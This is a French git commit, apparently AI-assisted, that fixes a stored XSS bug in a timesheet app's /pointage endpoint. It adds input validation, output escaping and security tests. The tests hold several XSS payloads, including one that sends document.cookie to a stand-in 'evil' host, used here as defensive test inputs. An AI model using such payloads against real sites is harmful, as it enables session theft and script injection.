Bloque le XSS stocké via /pointage et échappe les fragments HTMX

POST /pointage acceptait n'importe quelle valeur pour les 4 champs
matin_entree/matin_sortie/aprem_entree/aprem_sortie : la fonction clean ne
faisait qu'un strip(). Comme ces valeurs sont réinjectées telles quelles
dans des f-strings HTML hors templates Jinja (qui seuls bénéficient de
l'autoescape), un payload type `"><svg/onload=...>` déclenchait une
exécution JS immédiate dans la réponse HTMX, sans CSP pour limiter l'impact.

Double défense appliquée :

1. Validation stricte en entrée : clean() refuse désormais tout ce qui ne
   matche pas _HHMM_RE (^([01]\d|2[0-3]):[0-5]\d$). Une valeur non conforme
   est traitée comme vide plutôt que stockée.
2. Échappement HTML systématique en sortie : un alias `_e = html.escape`
   est appliqué à toutes les valeurs dynamiques (date, heures, cibles)
   dans _oob_calc, _oob_week_extras, _oob_time_cells et
   _htmx_conge_and_soldes. Les ids, data-date, value, hx-post et contenus
   textuels sont protégés.

Les nouveaux tests test_security couvrent plusieurs payloads XSS, vérifient
que la valeur n'est ni persistée ni reflétée, et qu'un pointage HHMM
valide continue à fonctionner.

💘 Generated with Crush

Assisted-by: Crush:glm-5.2
This commit is contained in:
Jacquin Antoine
2026-07-20 00:26:01 +02:00
parent 0329359072
commit dda8a83114
2 changed files with 92 additions and 19 deletions

View File

@ -162,3 +162,68 @@ def test_settings_save_rejects_ssrf_ntfy_server():
# La valeur précédente est conservée
cfg = models.load_notif_config("carol")
assert cfg["ntfy_server"] == "https://ntfy.sh"
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
XSS_PAYLOADS = [
'"><svg/onload=alert(1)>',
'"><script>alert(document.cookie)</script>',
"'/><script>fetch('//evil/'+document.cookie)</script>",
]
def test_pointage_rejects_non_hhmm_value():
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
cookies = _login("dave")
for payload in XSS_PAYLOADS:
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": payload,
"matin_sortie": "",
"aprem_entree": "",
"aprem_sortie": "",
})
# La réponse ne doit pas planter
assert r.status_code == 200
# Le payload ne doit pas se retrouver tel quel dans la réponse
assert payload not in r.text, payload
# Vérification de la persistance
week = models.load_week_pointages(2026, 29, "dave")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry is not None
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
assert entry["matin_entree"] is None
def test_pointage_valid_hhmm_still_works():
"""Un pointage HHMM valide doit continuer à fonctionner."""
cookies = _login("erin")
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45",
"matin_sortie": "12:00",
"aprem_entree": "",
"aprem_sortie": "",
})
assert r.status_code == 200
assert "08:45" in r.text
week = models.load_week_pointages(2026, 29, "erin")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry["matin_entree"] == "08:45"
def test_oob_html_escapes_date_attribute():
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
cookies = _login("frank")
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
})
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
# sur le rendu d'un pointage normal pour la date légitime)
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "12:00",
"aprem_entree": "14:00", "aprem_sortie": "17:30",
})
assert "<script" not in r.text.lower()
assert "onload" not in r.text.lower()